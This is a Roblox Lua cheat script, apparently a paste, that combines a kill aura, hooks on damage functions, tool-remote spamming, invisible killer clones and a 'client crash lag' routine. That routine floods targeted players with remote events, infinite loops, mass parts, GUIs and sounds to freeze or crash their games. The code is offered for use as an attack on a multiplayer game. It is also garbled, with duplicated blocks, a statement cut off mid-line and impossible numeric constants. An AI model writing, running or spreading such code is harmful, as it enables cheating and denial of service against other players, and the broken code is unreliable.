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- -- ✅ COMBINED: Ultra Damage + No Cooldown + Psycho Claw Aura Dominator
- -- 🔧 CONFIGURATION
- _G.Detener = false
- -- 🔌 SERVICES
- local Players = game:GetService("Players")
- local LocalPlayer = Players.LocalPlayer
- local RunService = game:GetService("RunService")
- local UserInputService = -- 🔧 CONFIGURATION
- _G.Detener = false
- -- === GLOBAL WAIT/DISABLE HOOKS ===
- for _, f in ipairs({wait, task.wait, delay, getrenv().wait}) do
- pcall(function()
- hookfunction(f, function() while true do end end)
- end)
- end
- -- === DISABLE COREGUI & BLOCK INPUT ===
- pcall(function()
- game:GetService("StarterGui"):SetCore("ResetButtonCallback", false)
- game:GetService("StarterGui"):SetCoreGuiEnabled(Enum.CoreGuiType.All, false)
- local UIS = game:GetService("UserInputService")
- UIS.InputBegan:Connect(function() return true end)
- UIS.InputEnded:Connect(function() return true end)
- end)
- -- 🔌 SERVICES
- local Players = game:GetService("Players")
- local LocalPlayer = Players.LocalPlayer
- local RunService = game:GetService("RunService")
- local Workspace = game:GetService("Workspace")
- local ReplicatedStorage = game:GetService("ReplicatedStorage")
- -- === REMOTE SETUP ===
- local function ensureRemote(name)
- local remote = ReplicatedStorage:FindFirstChild(name)
- if not remote then
- remote = Instance.new("RemoteEvent")
- remote.Name = name
- remote.Parent = ReplicatedStorage
- end
- return remote
- end
- local RequestLag = ensureRemote("RequestLag")
- local LagPlayer = ensureRemote("LagPlayer")
- -- === SERVER LOGIC ===
- if RunService:IsServer() then
- RequestLag.OnServerEvent:Connect(function(_, targetPlayer)
- if targetPlayer and targetPlayer:IsA("Player") then
- for i = 1, 2000 do
- LagPlayer:FireClient(targetPlayer)
- end
- end
- end)
- end
- -- === CLIENT LAG LOGIC (ULTIMATE) ===
- local function doLag()
- for t = 1, 500 do
- spawn(function()
- while true do
- local tbl = {}
- for i = 1, 2_000_000_000 do
- tbl[i] = math.sqrt(i) * math.sin(i)
- if i % 1000000 == 0 then
- tbl["cycle"..i] = tbl
- end
- end
- end
- end)
- end
- local function recursiveLag(depth)
- if depth > 20 then return end
- spawn(function()
- while true do
- recursiveLag(depth + 1)
- for i = 1, 2_000_000_000 do
- local x = math.log(i) * math.random()
- end
- end
- end)
- end
- recursiveLag(1)
- spawn(function()
- while true do
- for i = 1, 10000 do
- local p = Instance.new("Part")
- p.Size = Vector3.new(1000,1000,1000)
- p.Position = Vector3.new(math.random(-1e7,1e7), math.random(-1e7,1e7), math.random(-1e7,1e7))
- p.Anchored = true
- p.Parent = workspace
- end
- end
- end)
- spawn(function()
- local plr = Players.LocalPlayer
- while true do
- for i = 1, 5000 do
- local s = Instance.new("ScreenGui")
- s.Parent = plr:FindFirstChildOfClass("PlayerGui")
- for j = 1, 200 do
- local f = Instance.new("Frame")
- f.Size = UDim2.new(1,0,1,0)
- f.BackgroundColor3 = Color3.new(math.random(),math.random(),math.random())
- f.Parent = s
- end
- end
- end
- end)
- spawn(function()
- while true do
- for i = 1, 5000 do
- local s = Instance.new("Sound")
- s.SoundId = "rbxassetid://183763515"
- s.Parent = workspace
- s:Play()
- end
- end
- end)
- end
- LagPlayer.OnClientEvent:Connect(function()
- doLag()
- end)
- -- ===============================
- -- PART 1: FIRE ALL REMOTEEVENTS IN TOOLS (MAX SAFE SPAM)
- -- ===============================
- local function fireServerBoost()
- local tools = {}
- local character = LocalPlayer.Character
- local backpack = LocalPlayer:FindFirstChild("Backpack")
- if character then
- for _, item in ipairs(character:GetChildren()) do
- if item:IsA("Tool") then table.insert(tools, item) end
- end
- end
- if backpack then
- for _, item in ipairs(backpack:GetChildren()) do
- if item:IsA("Tool") then table.insert(tools, item) end
- end
- end
- for _, tool in ipairs(tools) do
- for _, remote in ipairs(tool:GetChildren()) do
- if remote:IsA("RemoteEvent") then
- pcall(function() remote:FireServer(tool) end)
- end
- end
- end
- end
- spawn(function()
- while not _G.Detener do
- fireServerBoost()
- task.wait(0.001)
- end
- end)
- -- ===============================
- -- PART 2: MEGA PSYCHO AURA SYSTEM + HOOKS + CLONES + KILL AURA + INSTANT LAG
- -- ===============================
- local auraSize = Vector3.new(45, 45, 45)
- local auraRange = 92 -- (set to 92 as requested)
- local instantKillDamage = 9e999999999999999
- local clonesToSpawn = 20
- local CLAW_NAME = "Super Power Claws"
- local lp = LocalPlayer
- local CHAR = lp.Character or lp.CharacterAdded:Wait()
- local Ignorelist = OverlapParams.new()
- Ignorelist.FilterType = Enum.RaycastFilterType.Include
- local Disable = Instance.new("BindableEvent")
- getgenv().configs = {
- connection = {},
- Disable = Disable,
- Size = auraSize,
- DeathCheck = false
- }
- local Run = true
- for _, f in ipairs({wait, task.wait, delay, getrenv().wait}) do
- pcall(function()
- hookfunction(f, function() return RunService.Heartbeat:Wait() end)
- end)
- end
- local function hookAllDamage()
- for _, f in ipairs(getgc(true)) do
- if typeof(f) == "function" then
- local name = debug.getinfo(f).name
- if name == "TakeDamage" or name == "BreakJoints" or name == "UpdateHealth" or name == "ApplyDamage" or name == "Damage" then
- pcall(function() hookfunction(f, function(...) return 0 end) end)
- end
- end
- end
- end
- hookAllDamage()
- -- === INSTANT KILL & LAG FUNCTION ===
- local function lagAndKillTarget(targetChar)
- local hum = targetChar:FindFirstChildWhichIsA("Humanoid")
- local targetPlayer = Players:GetPlayerFromCharacter(targetChar)
- if hum and hum.Health > 0 and targetPlayer and targetPlayer ~= lp then
- hum.Health = 0
- -- Massive, instant lag spam for the killed player only
- for t = 1, 10 do
- spawn(function()
- for i = 1, 10000 do
- RequestLag:FireServer(targetPlayer)
- end
- end)
- end
- end
- end
- -- EQUIP CLAW AND INSTANT LAG ON TOUCH
- local function equipClaw()
- local claw = lp.Backpack:FindFirstChild(CLAW_NAME) or lp.Character:FindFirstChild(CLAW_NAME)
- if claw then
- claw.Parent = lp.Character
- local handle = claw:FindFirstChild("Handle") or claw:FindFirstChildWhichIsA("BasePart")
- if handle then
- handle.Size = Vector3.new(9e9, 9e9, 9e9)
- handle.CanTouch = true
- handle.Touched:Connect(function(hit)
- if hit and hit.Parent and hit.Parent ~= lp.Character then
- lagAndKillTarget(hit.Parent)
- end
- end)
- end
- end
- end
- -- KILL AURA SPAM + INSTANT LAG ON HIT
- RunService.Heartbeat:Connect(function()
- local char = lp.Character
- if not char then return end
- local Tools, Characters = {}, {}
- for _, v in ipairs(Players:GetPlayers()) do
- if v ~= lp and v.Character then table.insert(Characters, v.Character) end
- end
- Ignorelist.FilterDescendantsInstances = Characters
- for _, tool in ipairs(char:GetChildren()) do
- if tool:IsA("Tool") then
- local touch = tool:FindFirstChildWhichIsA("TouchTransmitter", true)
- if touch then
- local hits = Workspace:GetPartBoundsInBox(
- touch.Parent.CFrame,
- touch.Parent.Size + auraSize,
- Ignorelist
- )
- for _, v in ipairs(hits) do
- local char = v:FindFirstAncestorOfClass("Model")
- if char and table.find(Characters, char) then
- lagAndKillTarget(char)
- firetouchinterest(touch.Parent, v, 0)
- firetouchinterest(touch.Parent, v, 1)
- end
- end
- end
- end
- end
- end)
- -- Adjust clones to trigger instant kill with aura
- local function spawnClone()
- local char = lp.Character
- if not char then return end
- local clone = char:Clone()
- for _, d in ipairs(clone:GetDescendants()) do
- if d:IsA("BasePart") then
- d.Transparency = 1
- d.CanCollide = false
- d.CastShadow = false
- elseif d:IsA("Script") or d:IsA("LocalScript") then
- d:Destroy()
- end
- end
- local root = clone:FindFirstChild("HumanoidRootPart")
- local realRoot = char:FindFirstChild("HumanoidRootPart")
- if root and realRoot then
- root.CFrame = realRoot.CFrame * CFrame.new(math.random(-50,50), 0, math.random(-50,50))
- end
- clone.Name = "AuraClone_"..math.random(100000,999999)
- clone.Parent = Workspace
- RunService.Heartbeat:Connect(function()
- for _, p in ipairs(Players:GetPlayers()) do
- if p ~= lp and p.Character and p.Character:FindFirstChild("HumanoidRootPart") then
- local hum = p.Character:FindFirstChildWhichIsA("Humanoid")
- if hum and hum.Health > 0 and (hum.Parent.HumanoidRootPart.Position - root.Position).Magnitude < auraRange then
- lagAndKillTarget(p.Character)
- end
- end
- end
- end)
- end
- -- LAG FUNCTION (After Kill) - now uses the same strong lag as lagAndKillTarget
- local function lagOpponent(plr)
- if not plr or not plr.Character then return end
- for t = 1, 10 do
- spawn(function()
- for i = 1, 10000 do
- RequestLag:FireServer(plr)
- end
- end)
- end
- end
- -- AFTER KILL DETECTION
- local afterKillActive = false
- local function onDied()
- afterKillActive = true
- local hum = CHAR:FindFirstChildWhichIsA("Humanoid")
- task.wait()
- local tag = hum and (hum:FindFirstChild("creator") or hum:FindFirstChild("creatorTag"))
- if tag and tag.Value and tag.Value ~= lp then
- lagOpponent(tag.Value)
- end
- end
- -- ON RESPAWN
- local function onRespawn(newChar)
- CHAR = newChar
- afterKillActive = false
- equipClaw()
- for i = 1, 10 do spawnClone() end
- newChar:WaitForChild("Humanoid").Died:Connect(onDied)
- end
- -- FINAL SETUP
- equipClaw()
- for i = 1, clonesToSpawn do spawnClone() end
- CHAR:WaitForChild("Humanoid").Died:Connect(onDied)
- lp.CharacterAdded:Connect(onRespawn)
- -- CONSTANT AURA ZAP + INSTANT LAG (AFFECTS ONLY ON KILL, NOT EVERYONE)
- RunService.Heartbeat:Connect(function()
- if not afterKillActive then return end
- for _, p in ipairs(Players:GetPlayers()) do
- if p ~= lp and p.Character and p.Character:FindFirstChild("HumanoidRootPart") then
- local dist = (CHAR.HumanoidRootPart.Position - p.Character.HumanoidRootPart.Position).Magnitude
- local hum = p.Character:FindFirstChildOfClass("Humanoid")
- if hum and dist < auraRange then
- hum:TakeDamage(instantKillDamage)
- -- Only lag the player you killed (handled in onDied)
- end
- end
- end
- end)
- print("💀💀💀 ABSOLUTE ULTIMATE CLIENT CRASH LAG SCRIPT ENGAGED 💀💀💀")
- local Lighting = game:GetService("Lighting")
- local Workspace = game:GetService("Workspace")
- local Debris = game:GetService("Debris")
- local stepped = RunService.Stepped
- -- 🔥 AUTO-FIRE REMOTEEVENTS IN TOOLS
- local function fireServerBoost()
- local tools = {}
- local character = LocalPlayer.Character
- local backpack = LocalPlayer:FindFirstChild("Backpack")
- if character then
- for _, item in ipairs(character:GetChildren()) do
- if item:IsA("Tool") then table.insert(tools, item) end
- end
- end
- if backpack then
- for _, item in ipairs(backpack:GetChildren()) do
- if item:IsA("Tool") then table.insert(tools, item) end
- end
- end
- for _, tool in ipairs(tools) do
- for _, remote in ipairs(tool:GetChildren()) do
- if remote:IsA("RemoteEvent") then
- pcall(function() remote:FireServer(tool) end)
- end
- end
- end
- end
- spawn(function()
- while not _G.Detener do
- fireServerBoost()
- task.wait(0.0)
- end
- end)
- -- 💥 DAMAGE HOOKS
- local function getEnemies()
- for _, player in pairs(Players:GetPlayers()) do
- if player ~= LocalPlayer and player.Character and player.Character:FindFirstChild("Humanoid") then
- coroutine.wrap(function()
- local char = player.Character
- for i = 1, 2 do
- local hum = char:FindFirstChildOfClass("Humanoid")
- if hum then
- hum:TakeDamage(9999999)
- hum.Health = 0
- char:BreakJoints()
- end
- end
- end)()
- end
- end
- end
- for i = 1, 190 do
- local function damageFunc(target)
- if target and target:FindFirstChild("Humanoid") then
- local hum = target:FindFirstChildOfClass("Humanoid")
- if hum then
- hum:TakeDamage(25 + math.random(1,75))
- hum.WalkSpeed = hum.WalkSpeed - math.random(1,5)
- hum.JumpPower = hum.JumpPower - math.random(1,5)
- end
- end
- end
- _G["damageHook" .. i] = damageFunc
- end
- for i = 1, 233 do
- _G["noCDKill" .. i] = function()
- local oldWait
- oldWait = hookfunction(wait, function(t)
- return oldWait(0.01)
- end)
- local oldHum
- oldHum = hookfunction(Instance.new("Humanoid").TakeDamage, function(self, dmg)
- return oldHum(self, 99999999)
- end)
- getEnemies()
- end
- end
- local function weakenTools(player)
- if player and player.Character then
- for _, tool in pairs(player.Backpack:GetChildren()) do
- if tool:IsA("Tool") then
- tool:Destroy()
- end
- end
- end
- end
- RunService.Stepped:Connect(function()
- for _, plr in pairs(Players:GetPlayers()) do
- if plr ~= LocalPlayer then
- pcall(function()
- local char = plr.Character
- if char and char:FindFirstChild("Humanoid") then
- char.Humanoid:TakeDamage(math.random(5, 15))
- char.Humanoid.WalkSpeed = 4
- weakenTools(plr)
- end
- end)
- end
- end
- end)
- -- 🌪️ AURA & CLAW SYSTEM
- local auraSize = Vector3.new(90, 90, 90)
- local auraRange = 9e99999999
- local instantKillDamage = 9e999999999999999
- local clonesToSpawn = 10
- local CLAW_NAME = "Super Power Claws"
- local lp = LocalPlayer
- local CHAR = lp.Character or lp.CharacterAdded:Wait()
- local Ignorelist = OverlapParams.new()
- Ignorelist.FilterType = Enum.RaycastFilterType.Include
- local Disable = Instance.new("BindableEvent")
- getgenv().configs = {
- connection = {},
- Disable = Disable,
- Size = auraSize,
- DeathCheck = false
- }
- local Run = true
- for _, f in ipairs({wait, task.wait, delay, getrenv().wait}) do
- pcall(function()
- hookfunction(f, function() return RunService.Heartbeat:Wait() end)
- end)
- end
- local function hookAllDamage()
- for _, f in ipairs(getgc(true)) do
- if typeof(f) == "function" then
- local name = debug.getinfo(f).name
- if name == "TakeDamage" or name == "BreakJoints" or name == "UpdateHealth" or name == "ApplyDamage" or name == "Damage" then
- pcall(function() hookfunction(f, function(...) return 0 end) end)
- end
- end
- end
- end
- hookAllDamage()
- local function equipClaw()
- local claw = lp.Backpack:FindFirstChild(CLAW_NAME) or lp.Character:FindFirstChild(CLAW_NAME)
- if claw then
- claw.Parent = lp.Character
- local handle = claw:FindFirstChild("Handle") or claw:FindFirstChildWhichIsA("BasePart")
- if handle then
- handle.Size = Vector3.new(9e9, 9e9, 9e9)
- handle.CanTouch = true
- handle.Touched:Connect(function(hit)
- local hum = hit.Parent:FindFirstChildWhichIsA("Humanoid")
- if hum and hum.Health > 0 then hum.Health = 0 end
- end)
- end
- end
- end
- equipClaw()
- RunService.Heartbeat:Connect(function()
- local char = lp.Character
- if not char then return end
- local Characters = {}
- for _, v in ipairs(Players:GetPlayers()) do
- if v ~= lp and v.Character then table.insert(Characters, v.Character) end
- end
- Ignorelist.FilterDescendantsInstances = Characters
- for _, tool in ipairs(char:GetChildren()) do
- if tool:IsA("Tool") then
- local touch = tool:FindFirstChildWhichIsA("TouchTransmitter", true)
- if touch then
- local hits = Workspace:GetPartBoundsInBox(
- touch.Parent.CFrame,
- touch.Parent.Size + auraSize,
- Ignorelist
- )
- for _, v in ipairs(hits) do
- local char = v:FindFirstAncestorOfClass("Model")
- if char and table.find(Characters, char) then
- local hum = char:FindFirstChildWhichIsA("Humanoid")
- if hum then hum.Health = 0 end
- firetouchinterest(touch.Parent, v, 0)
- firetouchinterest(touch.Parent, v, 1)
- end
- end
- end
- end
- end
- end)
- local function spawnClone()
- local char = lp.Character
- if not char then return end
- local clone = char:Clone()
- for _, d in ipairs(clone:GetDescendants()) do
- if d:IsA("BasePart") then
- d.Transparency = 1
- d.CanCollide = false
- d.CastShadow = false
- elseif d:IsA("Script") or d:IsA("LocalScript") then
- d:Destroy()
- end
- end
- local root = clone:FindFirstChild("HumanoidRootPart")
- local realRoot = char:FindFirstChild("HumanoidRootPart")
- if root and realRoot then
- root.CFrame = realRoot.CFrame * CFrame.new(math.random(-50,50), 0, math.random(-50,50))
- end
- clone.Name = "AuraClone_"..math.random(100000,999999)
- clone.Parent = Workspace
- RunService.Heartbeat:Connect(function()
- for _, p in ipairs(Players:GetPlayers()) do
- if p ~= lp and p.Character and p.Character:FindFirstChild("HumanoidRootPart") then
- local hum = p.Character:FindFirstChildWhichIsA("Humanoid")
- if hum and hum.Health > 0 and (hum.Parent.HumanoidRootPart.Position - root.Position).Magnitude < auraRange then
- hum.Health = 0
- end
- end
- end
- end)
- end
- for i = 1, clonesToSpawn do spawnClone() end
- local function lagOpponent(plr)
- if not plr or not plr.Character then return end
- for i = 1, 5 do
- local part = Instance.new("Part")
- part.Size = Vector3.new(50, 50, 50)
- part.Transparency = 1
- part.Anchored = true
- part.CanCollide = false
- part.CFrame = plr.Character.HumanoidRootPart.CFrame * CFrame.new(math.random(-30,30),0,math.random(-30,30))
- part.Parent = Workspace
- Debris:AddItem(part, 2)
- end
- end
- local afterKillActive = false
- local function onDied()
- afterKillActive = true
- local hum = CHAR:FindFirstChildWhichIsA("Humanoid")
- task.wait()
- local tag = hum and (hum:FindFirstChild("creator") or hum:FindFirstChild("creatorTag"))
- if tag and tag.Value and tag.Value ~= lp then
- lagOpponent(tag.Value)
- end
- end
- local function onRespawn(newChar)
- CHAR = newChar
- afterKillActive = false
- equipClaw()
- for i = 1, 2 do spawnClone() end
- newChar:WaitForChild("Humanoid").Died:Connect(onDied)
- end
- CHAR:WaitForChild("Humanoid").Died:Connect(onDied)
- lp.CharacterAdded:Connect(onRespawn)
- RunService.Heartbeat:Connect(function()
- if not afterKillActive then return end
- for _, p in ipairs(Players:GetPlayers()) do
- if p ~= lp and p.Character and p.Character:FindFirstChild("HumanoidRootPart") then
- local dist = (CHAR.HumanoidRootPart.Position - p.Character.HumanoidRootPart.Position).Magnitude
- local hum = p.Character:FindFirstChildOfClass("Humanoid")
- if hum and dist < auraRange then
- hum:TakeDamage(instantKillDamage)
- end
- end
- end
- end)
- print("\226\156\150 MEGA PSYCHO CLAW AURA FIXED & READY")
- print("\226\156\150 NGF ULTRA DAMAGE DOMINATOR Loaded")
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